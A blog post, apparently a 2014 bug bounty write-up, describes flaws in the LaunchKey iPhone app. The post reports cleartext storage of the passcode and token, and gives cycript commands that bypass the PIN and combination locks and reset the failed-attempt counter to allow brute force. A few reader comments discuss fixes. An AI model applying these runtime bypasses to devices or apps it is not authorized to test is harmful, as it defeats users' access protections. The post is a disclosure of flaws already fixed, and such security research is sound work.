RSS

LaunchKey Mobile Vulnerabilities : Bug Bounty Experience

May 28

Below are the vulnerabilities which I have found in the LaunchKey iPhone application.

Insecure Storage – passcode & auth token are stored in clear text

LaunchKey app allows its users to set a passcode to protect their information. This passcode is stored in clear text in the keychain, which can be obtained using keychain_dumper tool.

launchkey pin in plaintext

The app also stores the authentication token in clear text in the keychain.LaunchKey Auth Token in cleartext

Passcode Lock Bypass

Once a passcode lock is set, whenever the app is relaunched it prompts for the passcode. This passcode lock can be bypassed by manipulating the iOS runtime with cycript. Before manipulating the runtime, I have decrypted the app using clutch and obtained the class information using class-dump-z.

Steps followed to bypass the passcode lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it prompts for a passcode.
LaunchKey pin lock
3. Attached LaunchKey process to cycript and obtained the view controller instance of current displaying screen. 
$cycript -p LaunchKey
>v=UIApp.keyWindow.rootViewController.visibleViewController
>v
<LKPinViewController: 0x1f5d5d00>
4. Looked at the class dump for LKPinViewController interface and didn’t find any interesting methods/variables.
@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
	NSString* pinNumber;
	BOOL creation;
	NSString* firstPin;
	int tries;
	UITextField* pinDigitOneTextField;
	UITextField* pinDigitTwoTextField;
	UITextField* pinDigitThreeTextField;
	UITextField* pinDigitFourTextField;
	UIView* pinView;
	UIImageView* background;
	UIButton* cancelButton;
	UILabel* pinLabel;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* notMatchLabel;
	UITextField* pinField;
}
@property(retain, nonatomic) UITextField* pinField;
@property(assign, nonatomic) __weak UILabel* notMatchLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIView* pinView;
@property(assign, nonatomic) __weak UIImageView* background;
@property(assign, nonatomic) __weak UITextField* pinDigitFourTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitThreeTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitTwoTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitOneTextField;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* pinLabel;
-(void).cxx_destruct;
-(void)viewDidUnload;
-(void)didReceiveMemoryWarning;
-(void)dealloc;
-(void)cancelButtonTouched:(id)touched;
-(void)shakeTheView;
-(void)viewDidLoad;
-(void)animationDidStop:(id)animation finished:(BOOL)finished;
-(void)showConfirmFields;
-(void)savePinToKeychain:(id)keychain;
-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string;
-(id)initWithLocking;
-(id)initWithVerification;
-(id)initWithRemoval;
-(id)initWithCreation;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

LKPinViewController inherits LKLockViewControllerHence, methods in the parent class (LKLockViewControllerclass) can be invoked from the child class (LKPinViewControllerinstance. So looked at the class dump for LKLockViewController interface and noticed an interesting method pinIsValid.

@interface LKLockViewController : GAITrackedViewController {
	NSNumber* AppId;
	BOOL removing;
	MBProgressHUD* hud;
	BOOL verifying;
	int yOffset;
}
@property(retain) MBProgressHUD* hud;
@property(assign) int yOffset;
@property(assign) BOOL verifying;
@property(assign) BOOL removing;
@property(retain, nonatomic) NSNumber* AppId;
-(void).cxx_destruct;
-(void)pinIsValid;
-(void)showTemporaryError:(id)error;
-(void)unpairDevice;
-(void)updateWaitingAPN:(id)apn;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(id)init;
-(id)initAsCombo;
-(id)initAsPin;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

5. Invoking the pinIsValid method directly from the the cycript prompt, logged me into the app without entering the passcode.

&nbsp;&gt; [v pinIsValid]
launchkey pin bypass

 

Combination Lock Bypass

LaunchKey app allows its users to set a combination lock as an alternative to the passcode lock. Once a combo lock is set, whenever the app is relaunched it prompts the user to enter combo code to unlock. This combo lock can be  bypassed by manipulating the iOS runtime with cycript.

Steps followed to bypass the combo lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it displays the combo lock.
LaunchKey combo lock
3. Attached LaunchKey process to cycript and obtained the view controller instance of currently displaying screen. 
$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController.visibleViewController
> l=_
<LKComboLockViewController: 0x1e1c9680>

4. Looked at the class dump for LKComboLockViewController interface and noticed an interesting method comboDismissed.

@interface LKComboLockViewController : LKLockViewController {
	BOOL creation;
	int tries;
	UIImageView* background;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* combinationLabel;
	UIButton* cancelButton;
	UILabel* detailsLabel;
	LKCombinationLock* combo;
}
@property(retain, nonatomic) LKCombinationLock* combo;
@property(assign, nonatomic) __weak UILabel* detailsLabel;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* combinationLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIImageView* background;
-(void).cxx_destruct;
-(void)didReceiveMemoryWarning;
-(void)comboValid;
-(void)shakeTheView;
-(void)invalidComboTry;
-(void)invalidComboSet;
-(void)cancelButtonTouched:(id)touched;
-(void)comboDismissed;
-(void)comboUnlocked;
-(void)comboSetAndDismissed;
-(void)comboSet;
-(void)firstComboSet;
-(void)combosDoNotMatch;
-(id)initWithVerification;
-(id)initWithLocking;
-(id)initWithRemoval;
-(id)initWithCreation;
-(void)viewDidLoad;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end

5. Invoking the comboDismissed method directly from the the cycript prompt, logged me into the app without entering the combo lock code.

> [l comboDismissed]
launchkey combolock bypass

 

Passcode bruteforce limit bypass

When a passcode lock is set, LaunchKey app provides an option to unpair the device after 10 failed passcode attempts. The app is keeping track of the number of attempts in a variable. This bruteforce restriction can be bypassed by changing the variable value in runtime using cycript.
LaunchKey unpair after10

 

Steps followed to bypass the bruteforce limit:
1. Connected to the iPhone over SSH.
2. Turned on PIN lock and selected unpair after 10 option.
3. Closed and reopened the app. It prompted for a passcode.
4. Entered wrong passcode for 9 times.
5. Attached LaunchKey process to cycript and obtained the view controller of currently displaying screen.
$cycript -p LaunchKey
> UIApp.keyWindow.rootViewController
> n=_
> n.visibleViewController
> v=_
 <LKPinViewController: 0x1f5d5d00>
6. Looked at the class dump for LKPinViewController interface and noticed an interesting variable tries.
@interface LKPinViewController : LKLockViewController <UITextFieldDelegate> {
	NSString* pinNumber;
	BOOL creation;
	NSString* firstPin;
	int tries;
	UITextField* pinDigitOneTextField;
	UITextField* pinDigitTwoTextField;
	UITextField* pinDigitThreeTextField;
	UITextField* pinDigitFourTextField;
	UIView* pinView;
	UIImageView* background;
	UIButton* cancelButton;
	UILabel* pinLabel;
	UINavigationBar* navigationBar;
	UIImageView* lkNavLogo;
	UILabel* notMatchLabel;
	UITextField* pinField;
7. Printed the value stored in tries variable and confirmed that it is the variable keeping track of passcode failed attempts.
&gt; v.tries
 &nbsp;9
8. Changed the value to 0.
> v.tries=0
Now you can try another 9 attempts. This would allow to bruteforce the passcode without unpairing the device.


LaunchKey security team is very friendly and they fixed all the vulnerabilities within short time.  I have received 800$ in total for all the vulnerabilities as a bounty. Happy Hunting :)

 

Posted by on May 28, 2014 in iPhone

5 Comments

Tags: , ,

5 responses to “LaunchKey Mobile Vulnerabilities : Bug Bounty Experience

  1. l0rdSh1VA

    May 29, 2014 at 12:30 pm

    Awesome post thanks!!
    If possible can u also elaborate possible remediation options for these vuln.

     
    • satishb3

      May 29, 2014 at 5:23 pm

      This is what I recommended to Launchkey team,
      Add an extra parameter to the function that might prevent it invoking from cycript.

      For example,
      comboDismissed – this method does not have any parameters. So it can be invoked directly.
      comboDismissed (id) – this method is expecting some id parameter which would be hard to guess from attackers perspective. So it can’t be invoked unless we know the parameter type & value.

       
  2. am

    May 29, 2014 at 3:16 pm

    What is the fix? What’s your recommandation?

     
  3. jack

    June 17, 2014 at 3:27 pm

    You’re awesome, Man. Thanks for sharing.

     
  4. Tex-Twil

    June 17, 2014 at 5:46 pm

    Hi,
    How would you store values in the keychain other than in clear? I consider the Keychain being safe (on a non jbroken device) hence I do not apply any custom encryption on values I put there.

    cheers,
    Tex

     

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>